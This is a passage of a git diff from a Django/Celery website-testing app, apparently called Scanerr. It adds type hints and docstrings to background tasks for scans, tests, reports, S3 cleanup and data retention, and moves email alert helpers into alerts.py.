+def run_vrt_bg(self, scan_id: str=None, test_id: str=None, automation_id: str=None) -> None:
+    """ 
+    Runs the VRT component of the passed `Scan`
+
+    Expects: {
+        scan_id         : str, 
+        test_id         : str, 
+        automation_id   : str
+    }
+    
+    Returns -> None
+    """
+
+    # run VRT component
     _vrt(scan_id, test_id, automation_id)
+
     logger.info('ran vrt component')
+    return None
 
 
 
 
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def run_lighthouse_bg(self, scan_id=None, test_id=None, automation_id=None, *args, **kwargs):
+def run_lighthouse_bg(self, scan_id: str=None, test_id: str=None, automation_id: str=None) -> None:
+    """ 
+    Runs the lighthouse component of the passed `Scan`
+
+    Expects: {
+        scan_id         : str, 
+        test_id         : str, 
+        automation_id   : str
+    }
+    
+    Returns -> None
+    """
+
+    # run lighthouse component
     _lighthouse(scan_id, test_id, automation_id)
+
     logger.info('ran lighthouse component')
+    return None
 
 
 
 
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def run_yellowlab_bg(self, scan_id=None, test_id=None, automation_id=None, *args, **kwargs):
+def run_yellowlab_bg(self, scan_id: str=None, test_id: str=None, automation_id: str=None) -> None:
+    """ 
+    Runs the yellowlab component of the passed `Scan`
+
+    Expects: {
+        scan_id         : str, 
+        test_id         : str, 
+        automation_id   : str
+    }
+    
+    Returns -> None
+    """
+
+    # run yellowlab component
     _yellowlab(scan_id, test_id, automation_id)
+
     logger.info('ran yellowlab component')
+    return None
 
 
 
 
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def run_test(self, test_id, *args, **kwargs):
-    automation_id = kwargs.get('automation_id')
+def run_test(self, test_id: str, automation_id: str=None) -> None:
+    """ 
+    Helped function to shorted the code base 
+    when creating a `Test`.
+
+    Expects: {
+        test_id         : str, 
+        automation_id   : str
+    }
+    
+    Returns -> None
+    """
+    # get test 
     test = Test.objects.get(id=test_id)
+
+    # execute test
     test = T(test=test).run_test()
     if automation_id:
-        automation(automation_id, test.id)
-    logger.info('Test completed')
-
-
-
-
-@shared_task(bind=True, base=BaseTaskWithRetry)
-def check_scan_for_test(self, test_id=None, max_wait_time=500, *args, **kwargs):
-    automation_id = kwargs.get('automation_id')
-    test = Test.objects.get(id=test_id)
-    post_scan_id = test.post_scan.id
-
-    current_time = 0
-    while current_time < max_wait_time:
-        post_scan = Scan.objects.get(id=post_scan_id)
-        time.sleep(5)
-        if post_scan.time_completed is not None:
-           run_test.delay(test_id=test.id, automation_id=automation_id)
-           current_time += 500
-
-        current_time += 5
+        automater(automation_id, test.id)
 
-    logger.info('Scan complete, begining Test')
+    logger.info('Test completed')
+    return None
 
 
 
@@ -291,18 +472,36 @@ def check_scan_for_test(self, test_id=None, max_wait_time=500, *args, **kwargs):
 @shared_task(bind=True, base=BaseTaskWithRetry)
 def create_test(
         self,
-        test_id=None,
-        page_id=None, 
-        automation_id=None, 
-        configs=None, 
-        type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
-        index=None,
-        pre_scan=None,
-        post_scan=None,
-        tags=None,
-        *args, 
-        **kwargs,
-    ):
+        test_id: str=None,
+        page_id: str=None, 
+        automation_id: str=None, 
+        configs: dict=settings.CONFIGS, 
+        type: list=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+        index: int=None,
+        pre_scan: str=None,
+        post_scan: str=None,
+        tags: list=None,
+    ) -> None:
+    """ 
+    Creates a `post_scan` if necessary, waits for completion,
+    and runs a `Test`
+
+    Expects: {
+        test_id       : str,
+        page_id       : str, 
+        automation_id : str, 
+        configs       : dict, 
+        type          : list,
+        index         : int,
+        pre_scan      : str,
+        post_scan     : str,
+        tags          : list,
+    }
+    
+    Returns -> None
+    """
+
+    # get or create a Test
     if test_id is not None:
         created_test = Test.objects.get(id=test_id)
         page = created_test.page
@@ -315,11 +514,11 @@ def create_test(
             tags=tags,
         )
 
+    # get pre_ & post_ scans
     if pre_scan is not None:
         pre_scan = Scan.objects.get(id=pre_scan)
     if post_scan is not None:
         post_scan = Scan.objects.get(id=post_scan)
-
     if post_scan is None or pre_scan is None:
         if pre_scan is None:
             pre_scan = Scan.objects.filter(page=page).order_by('-time_completed')[0]
@@ -348,21 +547,38 @@ def create_test(
     created_test.pre_scan = pre_scan
     created_test.post_scan = post_scan
     created_test.save()
-    
-    # monitor post_scan and run test after completion
-    # check_scan_for_test.delay(test_id=created_test.id, automation_id=automation_id)
 
     # check if pre and post scan are complete and start test if True
     if pre_scan.time_completed is not None and post_scan.time_completed is not None:
         run_test.delay(test_id=created_test.id, automation_id=automation_id)
     
     logger.info('Began Scan/Test process')
+    return None
 
 
 
 
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def create_test_bg(self, *args, **kwargs):
+def create_test_bg(self, *args, **kwargs) -> None:
+    """ 
+    Depending on the scope, run create_test() for 
+    all requested pages.
+
+    Expects: {
+        site_id       : str
+        page_id       : str
+        test_id       : str
+        type          : list
+        configs       : dict
+        tags          : list
+        automation_id : str
+        pre_scan      : str
+        post_scan     : str
+    }
+    
+    Returns -> None
+    """
+    
     # get data
     site_id = kwargs.get('site_id')
     page_id = kwargs.get('page_id')
@@ -374,6 +590,7 @@ def create_test_bg(self, *args, **kwargs):
     pre_scan = kwargs.get('pre_scan')
     post_scan = kwargs.get('post_scan')
 
+    # create test if none was passed
     if test_id is None:
         if site_id is not None:
             site = Site.objects.get(id=site_id)
@@ -382,6 +599,7 @@ def create_test_bg(self, *args, **kwargs):
             p = Page.objects.get(id=page_id)
             pages = [p]
 
+        # create a test for each page
         for page in pages:
             create_test.delay(
                 page_id=page.id,
@@ -393,6 +611,7 @@ def create_test_bg(self, *args, **kwargs):
                 automation_id=automation_id
             )
     
+    # get test and run 
     if test_id is not None:
         test = Test.objects.get(id=test_id)
         create_test.delay(
@@ -406,14 +625,34 @@ def create_test_bg(self, *args, **kwargs):
             automation_id=automation_id
         )
 
+    logger.info('Created new Tests')
+    return None
+
 
 
 
 @shared_task
-def create_report(page_id=None, automation_id=None, *args, **kwargs):
+def create_report(page_id: str=None, automation_id: str=None) -> None:
+    """ 
+    Generates a new PDF `Report` of the requested `Page`
+    and runs the associated `Automation` if requested
+
+    Expcets: {
+        page_id       : str, 
+        automation_id : str
+    }
+    
+    Returns -> None
+    """
+    
+    # get page
     page = Page.objects.get(id=page_id)
+    
+    # check if report exists
     if Report.objects.filter(page=page).exists():
         report = Report.objects.filter(site=site).order_by('-time_created')[0]
+    
+    # create new report obj
     else:
         info = {
             "text_color": '#24262d',
@@ -428,45 +667,68 @@ def create_report(page_id=None, automation_id=None, *args, **kwargs):
             type=['lighthouse', 'yellowlab']
         )
     
-    report = R(report=report).make_test_report()
+    # generate report PDF
+    report = R(report=report).generate_report()
     if automation_id:
-        automation(automation_id, report.id)
+        automater(automation_id, report.id)
+    
     logger.info('Created new report of page')
+    return None
 
 
 
 
 @shared_task
-def create_report_bg(*args, **kwargs):
+def create_report_bg(*args, **kwargs) -> None:
+    """
+    Creates new `Reports` for the requested `Pages`
+
+    Expects: {
+        'site_id'       : str,
+        'page_id'       : str
+        'automation_id' : str
+    }
+     
+    Returns -> None
+    """
+
     # get data
     site_id = kwargs.get('site_id')
     page_id = kwargs.get('page_id')
     automation_id = kwargs.get('automation_id')
 
+    # deciding scope
     if site_id is not None:
         site = Site.objects.get(id=site_id)
         pages = Page.objects.filter(site=site)
     if page_id is not None:
         pages = [Page.objects.get(id=page_id)]
 
+    # create reports for each page
     for page in pages:
         create_report.delay(
             page_id=page.id,
             automation_id=automation_id
         )
+    
+    logger.info('Created new Reports')
+    return None
 
 
 
 
 @shared_task
-def delete_site_s3_bg(site_id, *args, **kwargs):
-    # setup boto3 configurations
-    s3 = boto3.resource('s3', 
-        aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-        region_name=str(settings.AWS_S3_REGION_NAME), 
-        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-    )
+def delete_site_s3_bg(site_id: str) -> None:
+    """
+    Deletes the directory in s3 bucked associated 
+    with passed site
+
+    Expects: {
+        'site_id': str
+    }
+
+    Returns -> None
+    """
 
     # deleting s3 objects
     try:
@@ -474,80 +736,108 @@ def delete_site_s3_bg(site_id, *args, **kwargs):
         bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/')).delete()
     except:
         pass
+
     logger.info('Deleted site s3 objects')
+    return None
 
 
 
 
 @shared_task
-def delete_page_s3_bg(page_id, site_id, *args, **kwargs):
-    # setup boto3 configurations
-    s3 = boto3.resource('s3', 
-        aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-        region_name=str(settings.AWS_S3_REGION_NAME),
-        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-    )
+def delete_page_s3_bg(page_id: str, site_id: str) -> None:
+    """
+    Deletes the directory in s3 bucked associated 
+    with passed page
+
+    Expects: {
+        'site_id': str,
+        'page_id': str
+    }
+
+    Returns -> None
+    """
+
     # deleting s3 objects
     try:
         bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
         bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/')).delete()
-    except Exception as e:
-        print(e)
-    return
+    except:
+        pass
+    
+    logger.info('Deleted page s3 objects')
+    return None
 
 
 
 
 @shared_task
-def delete_scan_s3_bg(scan_id, site_id, page_id):
-    # setup boto3 configurations
-    s3 = boto3.resource('s3', 
-        aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-        region_name=str(settings.AWS_S3_REGION_NAME), 
-        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-    )
+def delete_scan_s3_bg(scan_id: str, site_id: str, page_id: str) -> None:
+    """
+    Deletes the directory in s3 bucked associated 
+    with passed scan
+
+    Expects: {
+        'scan_id': str,
+        'site_id': str,
+        'page_id': str
+    }
+
+    Returns -> None
+    """
+
     # deleting s3 objects
     try:
         bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
         bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/{scan_id}/')).delete()
-    except Exception as e:
-        print(e)
-    return
+    except:
+        pass
+    
+    logger.info('Deleted scan s3 objects')
+    return None
 
 
 
 
 @shared_task
-def delete_test_s3_bg(test_id, site_id, page_id):
-    # setup boto3 configurations
-    s3 = boto3.resource('s3', 
-        aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-        region_name=str(settings.AWS_S3_REGION_NAME), 
-        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-    )
+def delete_test_s3_bg(test_id: str, site_id: str, page_id: str) -> None:
+    """
+    Deletes the directory in s3 bucked associated 
+    with passed test
+
+    Expects: {
+        'test_id': str,
+        'site_id': str,
+        'page_id': str
+    }
+
+    Returns -> None
+    """
+
     # deleting s3 objects
     try:
         bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
         bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/{test_id}/')).delete()
-    except Exception as e:
-        print(e)
-    return
+    except:
+        pass
+    
+    logger.info('Deleted test s3 objects')
+    return None
 
 
 
 
 @shared_task
-def delete_testcase_s3_bg(testcase_id, *args, **kwargs):
-    # setup boto3 configurations
-    s3 = boto3.resource('s3', 
-        aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-        region_name=str(settings.AWS_S3_REGION_NAME), 
-        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-    )
+def delete_testcase_s3_bg(testcase_id: str) -> None:
+    """
+    Deletes the directory in s3 bucked associated 
+    with passed test
+
+    Expects: {
+        'testcase_id': str,
+    }
+
+    Returns -> None
+    """
 
     # deleting s3 objects
     try:
@@ -555,20 +845,25 @@ def delete_testcase_s3_bg(testcase_id, *args, **kwargs):
         bucket.objects.filter(Prefix=str(f'static/testcase/{testcase_id}/')).delete()
     except:
         pass
+
     logger.info('Deleted testcase s3 objects')
+    return None
 
 
 
 
 @shared_task
-def delete_report_s3_bg(report_id, *args, **kwargs):
-    # setup boto3 configurations
-    s3 = boto3.resource('s3', 
-        aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-        region_name=str(settings.AWS_S3_REGION_NAME), 
-        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-    )
+def delete_report_s3_bg(report_id: str) -> None:
+    """
+    Deletes the file in s3 bucked associated 
+    with passed report
+
+    Expects: {
+        'report_id': str,
+    }
+
+    Returns -> None
+    """
 
     # get site
     site = Report.objects.get(id=report_id).site
@@ -579,13 +874,53 @@ def delete_report_s3_bg(report_id, *args, **kwargs):
         bucket.objects.filter(Prefix=str(f'static/sites/{site.id}/{report_id}.pdf')).delete()
     except:
         pass
+
     logger.info('Deleted Report pdf in s3')
+    return None
+
+
+
+
+@shared_task
+def delete_case_s3_bg(case_id: str) -> None:
+    """
+    Deletes the file in s3 bucked associated 
+    with passed case_id
+
+    Expects: {
+        'case_id': str,
+    }
+
+    Returns -> None
+    """
+
+    # deleting s3 objects
+    try:
+        bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket.objects.filter(Prefix=str(f'static/cases/{case_id}.json')).delete()
+    except:
+        pass
+
+    logger.info('Deleted Case step data in s3')
+    return None
 
 
 
 
 @shared_task
-def purge_logs(username=None, *args, **kwargs):
+def purge_logs(username: str=None) -> None:
+    """ 
+    Deletes all `Logs` associated with the passed "username".
+    If "username" is None, deletes all `Logs`.
+
+    Expects: {
+        'username': str
+    }
+
+    Returns -> None
+    """
+
+    # delete logs
     if username:
         user = User.objects.get(username=username)
         Log.objects.filter(user=user).delete()
@@ -593,6 +928,7 @@ def purge_logs(username=None, *args, **kwargs):
         Log.objects.all().delete()
 
     logger.info('Purged logs')
+    return None
 
 
 
@@ -600,13 +936,28 @@ def purge_logs(username=None, *args, **kwargs):
 @shared_task(bind=True, base=BaseTaskWithRetry)
 def create_auto_cases_bg(
         self, 
-        site_id=None,
-        process_id=None,
-        start_url=None,
-        max_cases=None,
-        max_layers=None,
-        configs=None
-    ):
+        site_id: str=None,
+        process_id: str=None,
+        start_url: str=None,
+        max_cases: int=4,
+        max_layers: int=5,
+        configs: dict=settings.CONFIGS
+    ) -> None:
+    """ 
+    Generates new `Cases` for the passed site.
+
+    Expects: {
+        site_id    : str,
+        process_id : str,
+        start_url  : str,
+        max_cases  : int,
+        max_layers : int,
+        configs    : dict
+    }
+    
+    Returns -> None
+    """
+
     # get objects
     site = Site.objects.get(id=site_id)
     process = Process.objects.get(id=process_id)
@@ -623,7 +974,9 @@ def create_auto_cases_bg(
 
     # build cases
     AC.build_cases()
+
     logger.info('Built new auto Cases')
+    return None
 
 
 
@@ -631,20 +984,34 @@ def create_auto_cases_bg(
 @shared_task(bind=True, base=BaseTaskWithRetry)
 def create_testcase_bg(
         self, 
-        testcase_id=None, 
-        site_id=None, 
-        case_id=None, 
-        updates=None, 
-        automation_id=None,
-        configs=None, 
-        type=None,
-        *args, 
-        **kwargs,
-    ):
+        testcase_id: str=None, 
+        site_id: str=None, 
+        case_id: str=None, 
+        updates: dict=None, 
+        automation_id: str=None,
+        configs: dict=settings.CONFIGS
+    ) -> None:
+    """ 
+    Creates and or runs a Testcase.
+
+    Expects: {
+        testcase_id   : str, 
+        site_id       : str, 
+        case_id       : str, 
+        updates       : dict, 
+        automation_id : str,
+        configs       : dict
+    }
+    
+    Returns -> None
+    """
+
+    # getting testcase
     if testcase_id != None:
         testcase = Testcase.objects.get(id=testcase_id)
         configs = testcase.configs
     
+    # creating testcase from case
     else:
         case = Case.objects.get(id=case_id)
         site = Site.objects.get(id=site_id)
@@ -662,10 +1029,12 @@ def create_testcase_bg(
                 step['assertion']['exception'] = None
                 step['assertion']['passed'] = None
 
+        # adding updates
         if updates != None:
             for update in updates:
                 steps[int(update['index'])]['action']['value'] = update['value']
-    
+
+        # create new testcase
         testcase = Testcase.objects.create(
             case = case,
             case_name = case.name,
@@ -676,16 +1045,6 @@ def create_testcase_bg(
             steps = steps
         )
 
-    if configs is None:
-        configs = {
-            'window_size': '1920,1080',
-            'device': 'desktop',
-            'driver': 'puppeteer',
-            'interval': 5,
-            'min_wait_time': 10,
-            'max_wait_time': 30,
-        }
-
     # running testcase
     if configs.get('driver', 'puppeteer') == 'puppeteer':
         testresult = asyncio.run(
@@ -694,18 +1053,35 @@ def create_testcase_bg(
     if configs.get('driver', 'puppeteer') == 'selenium':
         testresult = Caser(testcase=testcase).run_s()
 
+    # run automation if requested
     if automation_id:
-        automation(automation_id, testcase.id)
+        automater(automation_id, testcase.id)
+
     logger.info('Ran full testcase')
+    return None
 
 
 
 
 @shared_task
-def delete_old_resources(account_id=None, days_to_live=30):
+def delete_old_resources(account_id: str=None, days_to_live: int=30) -> None:
+    """ 
+    Deletes all `Tests`, `Scans`, `Testcases`, 
+    `Logs`, and `Processes` that have reached expiry
+
+    Expects: {
+        account_id   : str, 
+        days_to_live : int
+    }
+    
+    Returns -> None
+    """
+
+    # calculate max dates
     max_date = datetime.now() - timedelta(days=days_to_live)
     max_proc_date = datetime.now() - timedelta(days=1)
 
+    # scope resources to account if requested
     if account_id is not None:
         tests = Test.objects.filter(site__account__id=account_id, time_created__lte=max_date)
         scans = Scan.objects.filter(site__account__id=account_id, time_created__lte=max_date)
@@ -718,6 +1094,7 @@ def delete_old_resources(account_id=None, days_to_live=30):
         for member in members:
             logs += Log.objects.filter(user=member.user, time_created__lte=max_proc_date)
 
+    # get all resoruces if no account_id
     else:
         tests = Test.objects.filter(time_created__lte=max_date)
         scans = Scan.objects.filter(time_created__lte=max_date)
@@ -725,6 +1102,7 @@ def delete_old_resources(account_id=None, days_to_live=30):
         processes = Process.objects.filter(time_created__lte=max_proc_date)
         logs = Log.objects.filter(time_created__lte=max_proc_date)
 
+    # delete each resource in each type
     for test in tests:
         delete_test_s3_bg.delay(test.id, test.site.id, test.page.id)
         test.delete()
@@ -739,42 +1117,81 @@ def delete_old_resources(account_id=None, days_to_live=30):
     for log in logs:
         log.delete()
     
-    
     logger.info('Cleaned up resources')
+    return None
 
 
 
 
 @shared_task
-def data_retention():
+def data_retention() -> None:
+    """ 
+    Helper task for looping through each account and deleting old resources using 
+    delete_old_resources()
+
+    Returns -> None
+    """
+
+    # get all accounts
     accounts = Account.objects.all()
+
+    # loop through each account
     for account in accounts:
+
+        # delete old resources
         delete_old_resources.delay(
             account_id=account.id,
             days_to_live=account.retention_days
         )
     
     logger.info('Requested resource cleanup')
+    return None
 
 
 
 
 @shared_task
-def delete_admin_sites(days_to_live=1):
+def delete_admin_sites(days_to_live: int=1) -> None:
+    """ 
+    Delete all admin sites which are older 
+    than 'days_to_live'
+
+    Expects: {
+        'days_to_live': int 
+    }
+    
+    Returns -> None
+    """
+
+    # calculate max date
     max_date = datetime.now() - timedelta(days=days_to_live)
+
+    # filter sites by max_date and admin 
     sites = Site.objects.filter(time_created__lte=max_date, user__username='admin')
 
+    # delete each site
     for site in sites:
         delete_site_s3_bg.delay(site.id)
         site.delete()
     
     logger.info('Cleaned up admin sites')
+    return None
 
 
 
 
 @shared_task
-def create_prospect(user_email=None):
+def create_prospect(user_email: str=None) -> None:
+    """ 
+    Sends an API request to Scanerr Landing which 
+    creates a new `Prospect`
+
+    Expects: {
+        'user_email': str
+    }
+    
+    Returns -> None
+    """
 
     # get user by id
     user = User.objects.get(email=user_email)
@@ -812,49 +1229,135 @@ def create_prospect(user_email=None):
         success = False
         message = e
 
+    # format response
     data = {
         'success': success,
         'message': message
     }
     
     logger.info(f'Sent Prospect creation request -> {data}')
+    return None
 
 
 
 
 @shared_task
-def create_report_export_bg(report_id=None, email=None, first_name=None):
+def create_report_export_bg(report_id: str=None, email: str=None, first_name: str=None) -> None:
+    """ 
+    Creates and exports a Scanerr landing report
+
+    Expects: {
+        report_id   : str, 
+        email       : str, 
+        first_name  : str
+    }
+    
+    Returns -> None
+    """
+
+    # create and export 
     data = create_and_send_report_export(
         report_id=report_id,
         email=email,
         first_name=first_name
     )
+
     logger.info(f'Created and sent report export -> {data}')
+    return None
+
+
+
+
+@shared_task
+def send_invite_link_bg(member_id: str) -> None:
+    """ 
+    Sends an invite link to the requested member
+
+    Expects: {
+        'member_id': str
+    }
+
+    Returns -> None
+    """
+    
+    # get member
+    member = Member.objects.get(id=member_id)
+
+    # send invite
+    send_invite_link(member)
+
+    logger.info('Sent invite')
+    return None
+
+
+
+
+@shared_task
+def send_remove_alert_bg(member_id: str) -> None:
+    """ 
+    Sends a 'removed' email to the requested member
+
+    Expects: {
+        'member_id': str
+    }
+
+    Returns -> None
+    """
+
+    # get member
+    member = Member.objects.get(id=member_id)
+
+    # send email
+    send_remove_alert(member)
+
+    logger.info('Sent remove alert')
+    return None
 
 
 
 
 @shared_task
 def migrate_site_bg(
-        login_url, 
-        admin_url,
-        username,
-        password,
-        email_address,
-        destination_url,
-        sftp_address,
-        dbname,
-        sftp_username,
-        sftp_password, 
-        plugin_name,
-        wait_time,
-        process_id,
-        driver, 
-        *args, 
-        **kwargs
-    ):
+        login_url: str, 
+        admin_url: str,
+        username: str,
+        password: str,
+        email_address: str,
+        destination_url: str,
+        sftp_address: str,
+        dbname: str,
+        sftp_username: str,
+        sftp_password: str, 
+        plugin_name: str,
+        wait_time: int,
+        process_id: str,
+        driver: str,
+    ) -> None:
+    """ 
+    Runs the WP site migration process.
+
+    Expects: {
+        login_url: str, 
+        admin_url: str,
+        username: str,
+        password: str,
+        email_address: str,
+        destination_url: str,
+        sftp_address: str,
+        dbname: str,
+        sftp_username: str,
+        sftp_password: str, 
+        plugin_name: str,
+        wait_time: int,
+        process_id: str,
+        driver: str,
+    }
+
+    Returns -> None
+    """
+
     if driver == 'selenium':
-        # init wordpress
+        # init wordpress for selenium
         wp = W(
             login_url=login_url, 
             admin_url=admin_url,
@@ -904,26 +1407,7 @@ def migrate_site_bg(
         )
 
     logger.info('Finished Migration')
-
-
-
-
-@shared_task
-def send_invite_link_bg(member_id):
-    member = Member.objects.get(id=member_id)
-    send_invite_link(member)
-    logger.info('Sent invite')
-
-
-
-
-@shared_task
-def send_remove_alert_bg(member_id):
-    member = Member.objects.get(id=member_id)
-    send_remove_alert(member)
-    logger.info('Sent remove alert')
-
-
+    return None
 
 
 
diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py
index f30c8079..cc6eef5d 100644
--- a/app/api/utils/alerts.py
+++ b/app/api/utils/alerts.py
@@ -1,11 +1,6 @@
-from django.core.mail import send_mail, send_mass_mail
-from django.contrib.auth.models import User
-from django.template.loader import render_to_string
 from datetime import date
-import os, operator, json, requests, uuid
-from django.utils.html import strip_tags
 from django.contrib.auth.models import User
-from rest_framework.response import Response
+from rest_framework_simplejwt.tokens import RefreshToken
 from ..models import *
 from twilio.rest import Client
 from slack_sdk.web import WebClient
@@ -13,22 +8,214 @@
 from sendgrid import SendGridAPIClient
 from sendgrid.helpers.mail import Mail, From, To
 from scanerr import settings
+import os, json, requests, uuid
+
+
+
+
+
+
+def send_reset_link(email: str=None) -> dict:
+    """
+    Sends a reset password email to the User with 
+    the passed 'email'
+
+    Expects: {
+        'email': str
+    }
+
+    Returns -> data: {
+        'success': bool
+    }
+    """
+
+    # check if User exists
+    if User.objects.filter(email=email).exists():
+
+        # build email data
+        user = User.objects.get(email=email)
+        token = RefreshToken.for_user(user)
+        access_token = str(token.access_token)
+        reset_link = str(os.environ.get('CLIENT_URL_ROOT') + '/reset-password?token='+access_token)
+        subject = 'Rest Password'
+        title = 'Reset Password'
+        pre_header = 'Reset Password'
+        pre_content = 'Click the link below to reset your password.'
+        greeting = f'Hi there,'
+
+        context = {
+            'greeting': greeting,
+            'title' : title,
+            'subject' : subject,
+            'email': email,
+            'pre_header' : pre_header,
+            'pre_content' : pre_content,
+            'object_url' : reset_link,
+            'home_page' : os.environ.get('CLIENT_URL_ROOT'),
+            'button_text' : 'Rest my password',
+            'content' : '',
+            'signature' : '- Cheers!',
+        }
+
+        # send email
+        sendgrid_email(message_obj=context)
+
+        data = {
+            'success': True
+        }
+    
+    else:
+        data = {
+            'success': False
+        }
+        
+    return data
+
+
+
+
+def send_invite_link(member: object=None) -> dict:
+    """
+    Sends an invite email to the passed `Member`
+
+    Expects: {
+        'member': obj
+    }
+
+    Returns -> data: {
+        'success': bool
+    }
+    """
+
+    # check if member exists as status "pending"
+    if Member.objects.filter(email=member.email, status="pending").exists():
+
+        # build email data
+        link = f'{os.environ.get("CLIENT_URL_ROOT")}/account/join?team={member.account.id}&code={member.account.code}&member={member.id}&email={member.email}'
+        subject = 'Scanerr Invite'
+        title = 'Scanerr Invite'
+        pre_header = 'Scanerr Invite'
+        pre_content = f'A user with the email "{member.account.user.username}" invited you to join their Team on Scanerr. Now just click the link below to accept the invite!'
+        greeting = 'Hi there,'
+
+        context = {
+            'greeting': greeting,
+            'title' : title,
+            'subject' : subject,
+            'email': member.email,
+            'pre_header' : pre_header,
+            'pre_content' : pre_content,
+            'object_url' : link,
+            'home_page' : os.environ.get('CLIENT_URL_ROOT'),
+            'button_text' : 'Accept Invite',
+            'content' : '',
+            'signature' : '- Cheers!',
+        }
+        
+        # send email
+        sendgrid_email(message_obj=context)
+
+        data = {
+            'success': True
+        }
+    
+    else:
+        data = {
+            'success': False
+        }
+        
+    return data
+
+
+
+
+def send_remove_alert(member: object=None) -> dict:
+    """
+    Sends a "removed" email to the passed `Member` and 
+    deletes member from DB 
+
+    Expects: {
+        'member': obj
+    }
+
+    Returns -> data: {
+        'success': bool
+    }
+    """
+
+    # check if member exists as status "removed"
+    if Member.objects.filter(email=member.email, status="removed").exists():
+
+        # build email data
+        subject = 'Removed From Account'
+        title = 'Removed From Account'
+        pre_header = 'Removed From Account'
+        pre_content = f'A user with the email "{member.account.user.username}" removed you from their Team on Scanerr. Please let us know if there\'s been a mistake.'
+        greeting = 'Hi there,'
+
+        context = {
+            'greeting' : greeting,
+            'title' : title,
+            'subject' : subject,
+            'email': member.email,
+            'pre_header' : pre_header,
+            'pre_content' : pre_content,
+            'object_url' : None,
+            'home_page' : os.environ.get('CLIENT_URL_ROOT'),
+            'content' : '',
+            'signature' : '- Cheers!',
+        }
 
+        # send email
+        sendgrid_email(message_obj=context)
 
+        # delete member obj
+        member.delete()
 
+        data = {
+            'success': True
+        }
+    
+    else:
+        data = {
+            'success': False
+        }
+        
+    return data
 
 
-def create_exp_str(item, automation, is_email=False):
 
+
+def create_exp(item: object=None, automation: object=None) -> dict:
+    """ 
+    Builds an expression list (exp_list = []) based 
+    on the passed 'item' and `Automation`.
+
+    Expects: {
+        'item'       :  object (Scan, Test, Testcase),
+        'automation' :  object
+    }
+
+    Returns -> data: {
+        'exp_list': list, 
+        'exp_str' : str,
+    }
+    """
+
+    # init exp_list
     exp_list = []
     
+    # loop through automation expressions
     for e in automation.expressions:
+
+        # top-level scores and data
         if 'test_score' in e['data_type']:
             data_type = 'Test Score:\t'+str(round(item.score, 2))+'\n\t'
         elif 'current_health' in e['data_type']:
             data_type = 'Health:\t'+str((float(item.lighthouse_delta["scores"]["current_average"]) + float(item.yellowlab_delta["scores"]["current_average"])/2))+'\n\t'
         elif 'health' in e['data_type']:
             data_type = 'Health:\t'+str(((float(item.lighthouse["scores"]["average"]) + float(item.yellowlab["scores"]["globalScore"]))/2))+'\n\t'
+        
         # LH test data
         elif 'current_lighthouse_average' in e['data_type']:
             data_type = 'Lighthouse Average:\t'+str(item.lighthouse_delta["scores"]["current_average"])+'\n\t'
@@ -44,6 +231,7 @@ def create_exp_str(item, automation, is_email=False):
             data_type = 'Performance Delta:\t'+str(item.lighthouse_delta["scores"]["performance_delta"])+'\n\t'
         elif 'accessibility_delta' in e['data_type']:
             data_type = 'Accessibility Delta:\t'+str(item.lighthouse_delta["scores"]["accessibility_delta"])+'\n\t'
+        
         # LH scan data
         elif 'lighthouse_average' in e['data_type']:
             data_type = 'Lighthouse Average:\t'+str(item.lighthouse["scores"]["average"])+'\n\t'
@@ -60,8 +248,6 @@ def create_exp_str(item, automation, is_email=False):
         elif 'accessibility' in e['data_type']:
             data_type = 'Accessibility:\t'+str(item.lighthouse["scores"]["accessibility"])+'\n\t'
         
-        
-
         # yellowlab test data
         elif 'current_yellowlab_average' in e['data_type']:
             data_type = 'Yellow Lab Avg:\t'+str(item.yellowlab_delta["scores"]["current_average"])+'\n\t'
@@ -110,15 +296,17 @@ def create_exp_str(item, automation, is_email=False):
         elif 'serverConfig' in e['data_type']:
             data_type = 'Server Config:\t'+str(item.yellowlab["scores"]["serverConfig"])+'\n\t'
         
+        # image data
         elif 'avg_image_score' in e['data_type']:
             data_type = ' Avg Image Score:\t'+str(item.images_delta["average_score"])+'\n\t'
         elif 'image_scores' in e['data_type']:
             data_type = 'List of Image Scores:\t'+str([i["score"] for i in item.images_delta["images"]])+'\n\t' 
         
+        # logs data
         elif 'logs' in e['data_type']:
             data_type = 'Error Logs:\t'+str(len(item.logs))+'\n\t'
 
-
+        # testcase data
         elif 'testcase' in e['data_type']:
             status = 'Failed'
             if e['value'] == 'True':
@@ -126,25 +314,55 @@ def create_exp_str(item, automation, is_email=False):
             data_type = 'Testcase "'+str(item.case.name)+'" --> '+str(status)
         
         
+        # add to exp_list
         exp_list.append(data_type)
 
-    if is_email:
-        return exp_list
 
-    exp_str = ('\t'+''.join(exp_list))
-    return exp_str
+    # formating return data
+    data = {
